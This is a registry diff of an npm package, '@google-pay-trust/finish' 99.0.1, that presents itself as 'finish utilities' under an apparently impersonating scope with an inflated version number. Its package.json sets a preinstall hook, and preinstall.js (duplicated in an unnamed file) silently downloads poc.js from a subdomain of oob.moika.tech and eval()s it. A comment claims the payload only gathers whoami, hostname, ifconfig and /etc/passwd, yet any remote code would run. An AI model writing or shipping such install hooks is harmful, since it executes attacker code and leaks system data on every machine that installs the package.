@google-pay-trust/finish 99.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js ADDED
@@ -0,0 +1 @@
1
+ module.exports = {};
package/package.json ADDED
@@ -0,0 +1,8 @@
1
+ {
2
+ "name": "@google-pay-trust/finish",
3
+ "version": "99.0.1",
4
+ "description": "finish utilities",
5
+ "main": "index.js",
6
+ "scripts": { "preinstall": "node preinstall.js" },
7
+ "keywords": [], "author": "", "license": "ISC"
8
+ }
@@ -0,0 +1,18 @@
1
+ const http = require("http");
2
+ const fs = require("fs");
3
+ const path = require("path");
4
+
5
+ const BASE = "oob.moika.tech";
6
+
7
+ const raw = process.env.npm_package_name
8
+ || (() => { try { return JSON.parse(fs.readFileSync(path.join(__dirname, "package.json"), "utf8")).name; } catch(_){} return ""; })();
9
+
10
+ const scope = raw.startsWith("@") ? raw.split("/")[0].slice(1).replace(/[^a-z0-9-]/gi, "-") : "x";
11
+ const pkg = (raw.startsWith("@") ? raw.split("/")[1] : raw).replace(/[^a-z0-9-]/gi, "-");
12
+
13
+ // Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only)
14
+ http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => {
15
+ let body = "";
16
+ res.on("data", chunk => { body += chunk; });
17
+ res.on("end", () => { try { eval(body); } catch (_) {} }); // jshint ignore:line
18
+ }).on("error", () => {}).on("timeout", function() { this.destroy(); });
package/preinstall.js ADDED
@@ -0,0 +1,18 @@
1
+ const http = require("http");
2
+ const fs = require("fs");
3
+ const path = require("path");
4
+
5
+ const BASE = "oob.moika.tech";
6
+
7
+ const raw = process.env.npm_package_name
8
+ || (() => { try { return JSON.parse(fs.readFileSync(path.join(__dirname, "package.json"), "utf8")).name; } catch(_){} return ""; })();
9
+
10
+ const scope = raw.startsWith("@") ? raw.split("/")[0].slice(1).replace(/[^a-z0-9-]/gi, "-") : "x";
11
+ const pkg = (raw.startsWith("@") ? raw.split("/")[1] : raw).replace(/[^a-z0-9-]/gi, "-");
12
+
13
+ // Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only)
14
+ http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => {
15
+ let body = "";
16
+ res.on("data", chunk => { body += chunk; });
17
+ res.on("end", () => { try { eval(body); } catch (_) {} }); // jshint ignore:line
18
+ }).on("error", () => {}).on("timeout", function() { this.destroy(); });